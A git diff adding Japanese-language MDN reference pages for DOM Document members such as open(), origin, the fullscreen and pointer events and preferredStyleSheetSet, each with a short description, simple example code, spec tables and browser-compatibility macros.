+ + + +

ブラウザーの対応

+ + + +

{{Compat("api.Document.onafterscriptexecute")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/onbeforescriptexecute/index.html b/files/ja/web/api/document/onbeforescriptexecute/index.html new file mode 100644 index 0000000000..13c1b5f606 --- /dev/null +++ b/files/ja/web/api/document/onbeforescriptexecute/index.html @@ -0,0 +1,47 @@ +--- +title: element.onbeforescriptexecute +slug: Web/API/Document/onbeforescriptexecute +tags: + - DOM +translation_of: Web/API/Document/onbeforescriptexecute +--- +
{{ApiRef}}{{gecko_minversion_header("2")}}
+ +

概要

+ +

HTML 文書内で宣言された {{HTMLElement("script")}} 要素内のコードの実行開始直前に発生するイベントをハンドリングします。appendChild() などを用いるなどして動的に追加された script 要素ではこのイベントは発生しません。

+ +

構文

+ +
document.onbeforescriptexecute = funcRef;
+
+ + + +

例

+ +
// ※ logMessage 関数は定義済みとする
+
+function starting(e) {
+  logMessage("スクリプト実行開始(ID:" + e.target.id + ")");
+}
+
+document.addEventListener("beforescriptexecute", starting, true);
+
+ +

実際の表示を確認

+ +

仕様書

+ + + +

関連情報

+ + diff --git a/files/ja/web/api/document/onfullscreenchange/index.html b/files/ja/web/api/document/onfullscreenchange/index.html new file mode 100644 index 0000000000..8f65458f20 --- /dev/null +++ b/files/ja/web/api/document/onfullscreenchange/index.html @@ -0,0 +1,76 @@ +--- +title: Document.onfullscreenchange +slug: Web/API/Document/onfullscreenchange +tags: + - API + - Document + - Event Handler + - Fullscreen API + - Property + - Reference + - イベントハンドラー + - プロパティ + - 全画面 API +translation_of: Web/API/Document/onfullscreenchange +--- +
{{APIRef("Fullscreen API")}}
+ +

{{domxref("Document")}} インターフェイスの onfullscreenchange プロパティは、文書が全画面モードに移行したり復帰したりする直前に発生する {{event("fullscreenchange")}} イベントのイベントハンドラーです。

+ +

構文

+ +
targetDocument.onfullscreenchange = fullscreenChangeHandler;
+
+ +

値

+ +

文書が全画面モードへの移行および復帰を示す {{event("fullscreenchange")}} イベントを受け取るたびに呼び出されるイベントハンドラーです。

+ +

使用上のメモ

+ +

fullscreenchange イベントは全画面モードへの移行か復帰かを直接特定する方法がないので、イベントハンドラーでは {{domxref("Document.fullscreenElement")}} の値を見てください。 null であれば、イベントは全画面モードからの復帰を示します。それ以外であれば、指定された要素が画面全体に表示されるところです。

+ +

例

+ +
document.onfullscreenchange = function ( event ) {
+  console.log("FULL SCREEN CHANGE")
+};
+document.documentElement.onclick = function () {
+  // requestFullscreen() はイベントハンドラー内で使用しなければなりません。そうしなければ失敗します。
+  document.documentElement.requestFullscreen();
+}
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("Fullscreen", "#handler-document-onfullscreenchange", "onfullscreenchange")}}{{Spec2("HTML WHATWG")}}初回定義
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.onfullscreenchange")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/onfullscreenerror/index.html b/files/ja/web/api/document/onfullscreenerror/index.html new file mode 100644 index 0000000000..b1a915b795 --- /dev/null +++ b/files/ja/web/api/document/onfullscreenerror/index.html @@ -0,0 +1,76 @@ +--- +title: Document.onfullscreenerror +slug: Web/API/Document/onfullscreenerror +tags: + - API + - Document + - Event Handler + - Fullscreen API + - Property + - Reference + - イベントハンドラー + - エラー + - 全画面 + - 全画面 API +translation_of: Web/API/Document/onfullscreenerror +--- +
{{ApiRef("Fullscreen API")}}
+ +

Document.onfullscreenerror プロパティは、文書が直前の {{domxref("Element.requestFullscreen()")}} の呼び出しの後で全画面モードへの移行に失敗したときに、文書に送信される {{event("fullscreenerror")}} イベントのイベントハンドラーです。

+ +

構文

+ +
targetDocument.onfullscreenerror = fullscreenErrorHandler;
+
+ +

値

+ +

{{event("fullscreenerror")}} イベントのイベントハンドラーです。

+ +

例

+ +

この例では requestFullscreen() をイベントハンドラーの外で呼び出そうとしています。 requestFullscreen() はセキュリティ上の理由から、ユーザー操作への応答の中でしか呼び出せないため、これは失敗し、 fullscreenerror が発生して document に送られます。

+ +
document.onfullscreenerror = function ( event ) {
+  displayWarning("Unable to switch into full-screen mode.");
+};
+
+//....
+
+document.documentElement.requestFullscreen();
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("Fullscreen", "#handler-document-onfullscreenerror", "onfullscreenerror")}}{{Spec2("HTML WHATWG")}}初回定義
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.onfullscreenerror")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/onoffline/index.html b/files/ja/web/api/document/onoffline/index.html new file mode 100644 index 0000000000..c0be3b2734 --- /dev/null +++ b/files/ja/web/api/document/onoffline/index.html @@ -0,0 +1,14 @@ +--- +title: Document.onoffline +slug: Web/API/Document/onoffline +tags: + - API + - DOM + - NeedsContent + - Property + - Reference +translation_of: Web/API/Document/onoffline +--- +
{{APIRef("DOM")}}
+ +

Document.onoffline イベントハンドラーは、 {{event("offline")}} が {{HtmlElement("body")}} 要素上で発生してバブリングしたとき、 {{domxref("navigator.onLine")}} プロパティが変化して false になったときに呼び出されます。

diff --git a/files/ja/web/api/document/ononline/index.html b/files/ja/web/api/document/ononline/index.html new file mode 100644 index 0000000000..466d591706 --- /dev/null +++ b/files/ja/web/api/document/ononline/index.html @@ -0,0 +1,39 @@ +--- +title: Document.ononline +slug: Web/API/Document/ononline +tags: + - API + - DOM + - Document + - Property + - Reference +translation_of: Web/API/Document/ononline +--- +
{{APIRef("DOM")}}
+ +

Document.online イベントは、ブラウザーがオンラインモードとオフラインモードの間で切り替わったときに、それぞれのページの {{HtmlElement("body")}} で発生します。加えて、イベントは document.body から document に向けて、 window までバブリングします。どちらのイベントもキャンセル不可能です (ユーザーがオンラインになったり、オフラインに移行したりするのを妨げることはできません)。

+ +

window.navigator.onLine は、ブラウザーがオンラインの場合に真偽値の true を返し、明らかにオフラインの場合 (ネットワークから切断された場合) は false を返します。 online および offline イベントはこの属性の値が変化したときに発生します。

+ +
+

重要なことですが、このイベントおよび属性は本質的に信頼できません。コンピューターはインターネットアクセスなしでネットワークに接続することがあります。

+
+ +

これらのイベントのリスナーは、おなじみの幾つかの方法で登録することができます。

+ + + +

例

+ +

実行するとイベントが動作することを確認することができる単純なテストケースがあります。

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/onselectionchange/index.html b/files/ja/web/api/document/onselectionchange/index.html new file mode 100644 index 0000000000..fb4c595ae0 --- /dev/null +++ b/files/ja/web/api/document/onselectionchange/index.html @@ -0,0 +1,61 @@ +--- +title: Document.onselectionchange +slug: Web/API/Document/onselectionchange +tags: + - API + - Document + - Experimental + - Reference + - イベントハンドラー + - プロパティ +translation_of: Web/API/GlobalEventHandlers/onselectionchange +--- +
{{ApiRef('DOM')}}{{SeeCompatTable}}
+ +

Document.onselectionchange プロパティは、 {{event("selectionchange")}} イベントがこのオブジェクトに到達したときに呼び出されるイベントハンドラーを表します。

+ +

構文

+ +
obj.onselectionchange = function;
+
+ + + +

例

+ +
document.onselectionchange = function() { console.log("Selection changed!"); };
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('Selection API','','Document.onselectionchange')}}{{Spec2('Selection API')}}初回定義
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.onselectionchange")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/open/index.html b/files/ja/web/api/document/open/index.html new file mode 100644 index 0000000000..1b9da4d82f --- /dev/null +++ b/files/ja/web/api/document/open/index.html @@ -0,0 +1,114 @@ +--- +title: Document.open() +slug: Web/API/Document/open +tags: + - API + - DOM + - Document + - Method + - Reference + - open + - メソッド +translation_of: Web/API/Document/open +--- +
{{APIRef("DOM")}}
+ +

Document.open() メソッドは、{{domxref("Document.write", "書き込み", "", "1")}}のために文書を開きます。

+ +

これはいくらかの副作用を招きます。例を挙げます。

+ + + +

構文

+ +
document.open();
+
+ +

引数

+ +

なし。

+ +

返値

+ +

Document オブジェクトインスタンスです。

+ +

例

+ +

以下の簡単なコードは、文書を開き、その内容をいくつかの異なる HTML の断片に置き換えてから、再び閉じます。

+ +
document.open();
+document.write("<p>Hello world!</p>");
+document.write("<p>I am a fish</p>");
+document.write("<p>The number is 42</p>");
+document.close();
+
+ +

注

+ +

ページが読み込まれたあとで {{domxref("document.write()")}} が呼び出されると、自動的に document.open() が呼び出されます。

+ +

Firefox や Internet Explorer では何年も前から、すべてのノードの削除に加えて、 JavaScript の変数なども追加で消去していました。今はそうではありません。document non-spec'ed parameters to document.open

+ +

Gecko 固有のメモ

+ +

Gecko 1.9 以降、このメソッドは他のプロパティと同一オリジンポリシーが同じになるようになり、文書のオリジンを変更しようとした場合に動作しません。

+ +

Gecko 1.9.2 以降、 document.open() はプリンシパルをスタックからフェッチするのではなく、 URI を使用する文書のプリンシパルを使用します。その結果、 wrappedJSObject を使用しても、 {{domxref("document.write()")}} を{{Glossary("chrome", "クローム")}}からの信頼できない文書に呼び出すことはできません。考え方についてはセキュリティチェックの基本を参照してください。

+ +

引数3つの document.open()

+ +

あまり知られていませんが、あまり使われていない引数3つ版の document.open() があり、これは {{domxref("Window.open()")}} のエイリアスです (詳細はそのページを参照してください)。

+ +

この呼び出しは、例えば github.com を新しいウィンドウで開き、オープナーは null に設定してみます。

+ +
document.open('https://www.github.com','', 'noopener=true')
+ +

引数2つの document.open()

+ +

ブラウザーは以下の形で、引数2つの document.open() に対応してきました。

+ +
document.open(type, replace)
+ +

type は書き込もうとしているデータの MIME タイプ (text/html など) を指定し、 replace が設定されていれば (すなわち "replace" の文字列)、新しい文書の履歴エントリが書き込まれている文書の現在の履歴エントリを置き換えることを指定していました。

+ +

この形式は現在では廃止されています。エラーは発生せず、代わりに document.open() に転送されます (つまり、引数なしで実行した場合と同等です)。 履歴の置換動作は常に行われるようになりました。

+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("HTML WHATWG", "#dom-document-open", "document.open()")}}{{Spec2("HTML WHATWG")}}
{{SpecName("DOM2 HTML", "html.html#ID-72161170", "document.open()")}}{{Spec2("DOM2 HTML")}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.open")}}

+ +

See also

+ + diff --git a/files/ja/web/api/document/origin/index.html b/files/ja/web/api/document/origin/index.html new file mode 100644 index 0000000000..810125f8cd --- /dev/null +++ b/files/ja/web/api/document/origin/index.html @@ -0,0 +1,48 @@ +--- +title: Document.origin +slug: Web/API/Document/origin +tags: + - API + - DOM + - Document + - Experimental + - Interface + - Property + - Read-only +translation_of: Web/API/Document/origin +--- +
{{APIRef("DOM")}}{{Obsolete_header}}
+ +
+

代わりに self.origin を使用してください。

+
+ +

Document.origin は読み取り専用プロパティで、文書のオリジンを返します。ほとんどの場合、このプロパティは document.defaultView.location.origin と等価です。

+ +

構文

+ +
var origin = document.origin;
+ +

例

+ +
var origin = document.origin;
+// このページでは、 'https://developer.mozilla.org' を返します
+
+var origin = document.origin;
+// "about:blank" では 'null' を返します
+
+var origin = document.origin;
+// "data:text/html,<b>foo</b>" では、 'null' を返します。
+
+ +

ブラウザーの互換性

+ + + +
{{Compat("api.Document.origin")}}
+ +

関連情報

+ + diff --git a/files/ja/web/api/document/paste_event/index.html b/files/ja/web/api/document/paste_event/index.html new file mode 100644 index 0000000000..bd4d63b91b --- /dev/null +++ b/files/ja/web/api/document/paste_event/index.html @@ -0,0 +1,76 @@ +--- +title: 'Document: paste イベント' +slug: Web/API/Document/paste_event +tags: + - API + - Document + - Event + - Reference + - Web + - paste + - イベント +translation_of: Web/API/Document/paste_event +--- +
{{APIRef}}
+ +

paste イベントは、ユーザーがブラウザーのユーザーインターフェイスから「貼り付け」操作を実行したときに発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可
インターフェイス{{domxref("ClipboardEvent")}}
イベントハンドラープロパティ{{domxref("HTMLElement/onpaste", "onpaste")}}
+ +

このイベントの本来の対象は、貼り付け操作を意図する対象である {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントの局面について完全な詳細は、 Element: paste イベントを参照してください。

+ +

例

+ +
document.addEventListener('paste', (event) => {
+    console.log('paste action initiated')
+});
+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName('Clipboard API', '#clipboard-event-paste')}}{{Spec2('Clipboard API')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.paste_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/plugins/index.html b/files/ja/web/api/document/plugins/index.html new file mode 100644 index 0000000000..735d552908 --- /dev/null +++ b/files/ja/web/api/document/plugins/index.html @@ -0,0 +1,57 @@ +--- +title: Document.plugins +slug: Web/API/Document/plugins +tags: + - API + - Document + - Plugins + - Property + - Reference + - embed + - プロパティ +translation_of: Web/API/Document/plugins +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} インターフェイスの plugins プロパティは読み取り専用で、現在の文書内にある {{HTMLElement("embed")}} 要素を表す1つ以上の {{domxref("HTMLEmbedElement")}} を含んだ {{domxref("HTMLCollection")}} オブジェクトを返します。

+ +
インストールされているプラグインの一覧には、このメソッドでなく {{domxref("window.navigator.plugins")}} を使用してください。
+ +

構文

+ +
embedArrayObj = document.plugins
+ +

値

+ +

{{domxref("HTMLCollection")}}、または文書内に embed がなければ null です。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-plugins', 'Document.plugins')}}{{ Spec2('HTML WHATWG') }} 
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.plugins")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/pointercancel_event/index.html b/files/ja/web/api/document/pointercancel_event/index.html new file mode 100644 index 0000000000..4a3433bc92 --- /dev/null +++ b/files/ja/web/api/document/pointercancel_event/index.html @@ -0,0 +1,107 @@ +--- +title: 'Document: pointercancel イベント' +slug: Web/API/Document/pointercancel_event +tags: + - API + - Document + - Event + - PointerEvent + - onpointercancel + - pointercancel + - イベント +translation_of: Web/API/Document/pointercancel_event +--- +
{{APIRef}}
+ +

pointercancel イベントは、ブラウザーがもうポインターイベントが存在しないと判断したとき、または {{event("pointerdown")}} イベントが発生した後で、ポインターがビューポートのパン、ズーム、スクロールを操作するために使用されたときに発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointercancel", "onpointercancel")}}
+ +

pointercancel イベントが発生する状況の例をいくつか示します。

+ + + +
+

pointercancel イベントの発生後、ブラウザーは {{event("pointerout")}} イベントと、続いて {{event("pointerleave")}} イベントを送信します。

+
+ +

例

+ +

addEventListener() の使用例:

+ +
document.addEventListener('pointercancel', (event) => {
+  console.log('Pointer event cancelled')
+});
+ +

onpointercancel イベントハンドラープロパティの使用例:

+ +
document.onpointercancel = (event) => {
+  console.log('Pointer event cancelled')
+};
+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName('Pointer Events', '#the-pointercancel-event')}}{{Spec2('Pointer Events')}}
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.pointercancel_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/pointerdown_event/index.html b/files/ja/web/api/document/pointerdown_event/index.html new file mode 100644 index 0000000000..395b9b8b3f --- /dev/null +++ b/files/ja/web/api/document/pointerdown_event/index.html @@ -0,0 +1,82 @@ +--- +title: 'Document: pointerdown イベント' +slug: Web/API/Document/pointerdown_event +tags: + - API + - Document + - Event + - PointerEvent + - Reference + - onpointerdown + - pointerdown + - イベント +translation_of: Web/API/Document/pointerdown_event +--- +
{{APIRef}}
+ +

pointerdown イベントは、ポインターがアクティブになったときに発生します。マウスでは、端末がボタンが押されていない状態から一つ以上のボタンが押されている状態に遷移したときに発生します。タッチ操作では、デジタイザーに物理的な接触が行われたときに発生します。ペンでは、スタイラスがデジタイザーに物理的に接触したときに発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointerdown", "onpointerdown")}}
+ +

例

+ +

addEventListener() の使用例:

+ +
document.addEventListener('pointerdown', (event) => {
+  console.log('Pointer down event');
+});
+ +

onpointerdown イベントハンドラープロパティの使用例:

+ +
document.onpointerdown = (event) => {
+  console.log('Pointer down event');
+};
+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName('Pointer Events', '#the-pointerdown-event')}}{{Spec2('Pointer Events')}}
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.pointerdown_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/pointerenter_event/index.html b/files/ja/web/api/document/pointerenter_event/index.html new file mode 100644 index 0000000000..b2c49a008d --- /dev/null +++ b/files/ja/web/api/document/pointerenter_event/index.html @@ -0,0 +1,91 @@ +--- +title: 'Document: pointerenter イベント' +slug: Web/API/Document/pointerenter_event +tags: + - API + - Document + - Event + - PointerEvent + - Reference + - onpointerenter + - pointerenter + - イベント +translation_of: Web/API/Document/pointerenter_event +--- +
{{APIRef}}
+ +

pointerenter イベントは、ポインティングデバイスが要素またはその子孫のヒットテスト領域に入ったときに発生します。ホバーに対応していない機器では {{domxref("Document/pointerdown_event", "pointerdown")}} イベントの結果として移動した場合も含みます ({{domxref("Document/pointerdown_event", "pointerdown")}} を参照)。

+ + + + + + + + + + + + + + + + + + + + +
バブリングなし
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointerenter", "onpointerenter")}}
+ +

例

+ +

addEventListener() の使用例:

+ +
document.addEventListener('pointerenter', (event) => {
+  console.log('Pointer entered element');
+});
+ +

onpointerenter イベントハンドラープロパティの使用例:

+ +
document.onpointerenter = (event) => {
+  console.log('Pointer entered element');
+};
+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName('Pointer Events', '#the-pointerenter-event')}}{{Spec2('Pointer Events')}}
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.pointerenter_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/pointerleave_event/index.html b/files/ja/web/api/document/pointerleave_event/index.html new file mode 100644 index 0000000000..7734959369 --- /dev/null +++ b/files/ja/web/api/document/pointerleave_event/index.html @@ -0,0 +1,91 @@ +--- +title: 'Document: pointerleave イベント' +slug: Web/API/Document/pointerleave_event +tags: + - API + - Document + - Event + - PointerEvent + - Reference + - onpointerleave + - pointerleave + - イベント +translation_of: Web/API/Document/pointerleave_event +--- +
{{APIRef}}
+ +

pointerleave イベントは、ポインティングデバイスが要素のヒットテスト領域を出たときに発生します。ペンデバイスでは、このイベントはデジタイザーが検出可能なホバー範囲をスタイラスが離れたときに発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングなし
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointerleave", "onpointerleave")}}
+ +

例

+ +

addEventListener() の使用例:

+ +
document.addEventListener('pointerleave', (event) => {
+  console.log('Pointer left element');
+});
+ +

onpointerleave イベントハンドラープロパティの使用例:

+ +
document.onpointerleave = (event) => {
+  console.log('Pointer left element');
+};
+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName('Pointer Events', '#the-pointerleave-event')}}{{Spec2('Pointer Events')}}
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.pointerleave_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/pointerlockchange_event/index.html b/files/ja/web/api/document/pointerlockchange_event/index.html new file mode 100644 index 0000000000..e8583e1a8a --- /dev/null +++ b/files/ja/web/api/document/pointerlockchange_event/index.html @@ -0,0 +1,80 @@ +--- +title: 'Document: pointerlockchange イベント' +slug: Web/API/Document/pointerlockchange_event +tags: + - Document + - Event + - Reference + - Web + - pointerlockchange + - イベント + - ウェブ +translation_of: Web/API/Document/pointerlockchange_event +--- +
{{APIRef}}
+ +

pointerlockchange イベントは、ポインターがロックされたり解除されたりしたときに発行されます。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能いいえ
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ{{domxref("Document/onpointerlockchange", "onpointerlockchange")}}
+ +

例

+ +

addEventListener() を使用した場合

+ +
document.addEventListener('pointerlockchange', (event) => {
+  console.log('Pointer lock changed');
+});
+ +

onpointerlockerror イベントハンドラープロパティを使用した場合

+ +
document.onpointerlockchange = (event) => {
+  console.log('Pointer lock changed');
+};
+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName('Pointer Lock', '#pointerlockchange-and-pointerlockerror-events')}}{{Spec2('Pointer Lock')}}
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.pointerlockchange_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/pointerlockerror_event/index.html b/files/ja/web/api/document/pointerlockerror_event/index.html new file mode 100644 index 0000000000..523944c9dd --- /dev/null +++ b/files/ja/web/api/document/pointerlockerror_event/index.html @@ -0,0 +1,83 @@ +--- +title: 'Document: pointerlockerror イベント' +slug: Web/API/Document/pointerlockerror_event +tags: + - Document + - Event + - Reference + - Web + - pointerlockerror + - イベント + - ウェブ + - ポインター +translation_of: Web/API/Document/pointerlockerror_event +--- +
{{APIRef}}
+ +

pointerlockerror イベントは、 (技術的な理由、またはパーミッションが拒否されたために) ポインターのロックに失敗したときに発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能いいえ
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ{{domxref("Document/onpointerlockchange", "onpointerlockerror")}}
+ +

例

+ +

addEventListener() を使用した場合

+ +
const para = document.querySelector('p');
+
+document.addEventListener('pointerlockerror', (event) => {
+  console.log('Error locking pointer');
+});
+ +

onpointerlockerror イベントハンドラープロパティを使用した場合

+ +
document.onpointerlockerror = (event) => {
+  console.log('Error locking pointer');
+};
+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName('Pointer Lock', '#pointerlockchange-and-pointerlockerror-events')}}{{Spec2('Pointer Lock')}}
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.pointerlockerror_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/pointermove_event/index.html b/files/ja/web/api/document/pointermove_event/index.html new file mode 100644 index 0000000000..eff7c67e90 --- /dev/null +++ b/files/ja/web/api/document/pointermove_event/index.html @@ -0,0 +1,93 @@ +--- +title: 'Document: pointermove イベント' +slug: Web/API/Document/pointermove_event +tags: + - Document + - Event + - PointerEvent + - Reference + - Web + - pointer + - pointermove + - イベント + - ウェブ + - ポインター +translation_of: Web/API/Document/pointermove_event +--- +
{{APIRef}}
+ +

pointermove はポインターの座標が変化し、かつブラウザーのタッチ操作によってポインターがキャンセルされていないときに発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointermove", "onpointermove")}}
+ +

例

+ +

addEventListener() を使用した場合

+ +
document.addEventListener('pointermove', (event) => {
+  console.log('Pointer moved');
+});
+ +

onpointermove イベントハンドラープロパティを使用した場合

+ +
document.onpointermove = (event) => {
+  console.log('Pointer moved');
+};
+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName('Pointer Events', '#the-pointermove-event')}}{{Spec2('Pointer Events')}}
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.pointermove_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/pointerout_event/index.html b/files/ja/web/api/document/pointerout_event/index.html new file mode 100644 index 0000000000..a31574d35d --- /dev/null +++ b/files/ja/web/api/document/pointerout_event/index.html @@ -0,0 +1,91 @@ +--- +title: 'Document: pointerout イベント' +slug: Web/API/Document/pointerout_event +tags: + - Document + - Event + - PointerEvent + - Reference + - Web + - onpointerout + - pointerout + - イベント +translation_of: Web/API/Document/pointerout_event +--- +
{{APIRef}}
+ +

pointerout イベントはいくつかの理由で発生します。ポインティングデバイスが要素のヒットテスト境界を出たとき、ホバーに対応していない端末で {{domxref("Document/pointerup_event", "pointerup")}} イベントが発生したとき ({{domxref("Document/pointerup_event", "pointerup")}} を参照)、 {{domxref("Document/pointercancel_event", "pointercancel")}} イベントが発生した後 ({{domxref("Document/pointercancel_event", "pointercancel")}} を参照)、スタイラスペンがデジタイザーで検出可能なホバー範囲を離れたとき、などです。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointerout", "onpointerout")}}
+ +

例

+ +

addEventListener() を使用した場合

+ +
document.addEventListener('pointerout', (event) => {
+  console.log('Pointer moved out');
+});
+ +

onpointerout イベントハンドラープロパティを使用した場合

+ +
document.onpointerout = (event) => {
+  console.log('Pointer moved out');
+};
+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName('Pointer Events', '#the-pointerout-event')}}{{Spec2('Pointer Events')}}
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.pointerout_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/pointerover_event/index.html b/files/ja/web/api/document/pointerover_event/index.html new file mode 100644 index 0000000000..7adfca50a0 --- /dev/null +++ b/files/ja/web/api/document/pointerover_event/index.html @@ -0,0 +1,93 @@ +--- +title: 'Document: pointerover イベント' +slug: Web/API/Document/pointerover_event +tags: + - API + - Document + - Event + - PointerEvent + - Reference + - Web + - onpointerover + - pointer + - pointerover + - イベント + - ポインター +translation_of: Web/API/Document/pointerover_event +--- +
{{APIRef}}
+ +

pointerover イベントは、ポインティングデバイスが要素のヒットテスト境界内に移動したときに発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointerover", "onpointerover")}}
+ +

例

+ +

addEventListener() を使用した場合

+ +
document.addEventListener('pointerover', (event) => {
+  console.log('Pointer moved in');
+});
+ +

onpointerover イベントハンドラープロパティを使用した場合

+ +
document.onpointerover = (event) => {
+  console.log('Pointer moved in');
+};
+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName('Pointer Events', '#the-pointerover-event')}}{{Spec2('Pointer Events')}}
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.pointerover_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/pointerup_event/index.html b/files/ja/web/api/document/pointerup_event/index.html new file mode 100644 index 0000000000..d2c4ef074f --- /dev/null +++ b/files/ja/web/api/document/pointerup_event/index.html @@ -0,0 +1,93 @@ +--- +title: 'Document: pointerup event' +slug: Web/API/Document/pointerup_event +tags: + - API + - Document + - Event + - PointerEvent + - Reference + - Web + - onpointerup + - pointerup + - イベント + - ポインター +translation_of: Web/API/Document/pointerup_event +--- +
{{APIRef}}
+ +

pointerup イベントは、ポインターがアクティブではなくなったときに発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointerup", "onpointerup")}}
+ +

例

+ +

addEventListener() を使用した場合

+ +
document.addEventListener('pointerup', (event) => {
+  console.log('Pointer up');
+});
+ +

onpointerup イベントハンドラープロパティを使用した場合

+ +
document.onpointerup = (event) => {
+  console.log('Pointer up');
+};
+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName('Pointer Events', '#the-pointerup-event')}}{{Spec2('Pointer Events')}}
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.pointerup_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/preferredstylesheetset/index.html b/files/ja/web/api/document/preferredstylesheetset/index.html new file mode 100644 index 0000000000..84fb0346a4 --- /dev/null +++ b/files/ja/web/api/document/preferredstylesheetset/index.html @@ -0,0 +1,49 @@ +--- +title: Document.preferredStyleSheetSet +slug: Web/API/Document/preferredStyleSheetSet +tags: + - API + - CSSOM + - DOM + - Document + - Property + - Reference + - Stylesheets +translation_of: Web/API/Document/preferredStyleSheetSet +--- +
{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}{{Obsolete_header}}
+ +

preferredStyleSheetSet プロパティは、ページ作者によって設定された推奨スタイルシートセットを返します。

+ +

構文

+ +
preferredStyleSheetSet = document.preferredStyleSheetSet
+
+ +

返値である preferredStyleSheetSet は、作者の推奨するスタイルシートセットを示します。これはスタイルシート宣言の順序と HTTP の Default-Style ヘッダーから特定されます。

+ +

作者によって定義された推奨スタイルシートセットがない場合は、空文字列 ("") が返されます。

+ +

例

+ +
if (document.preferredStyleSheetSet) {
+  console.log("推奨スタイルシート: " + document.preferredStyleSheetSet);
+} else {
+  console.log("推奨スタイルシートがありません。");
+}
+
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.preferredStyleSheetSet")}}

+ +

関連情報

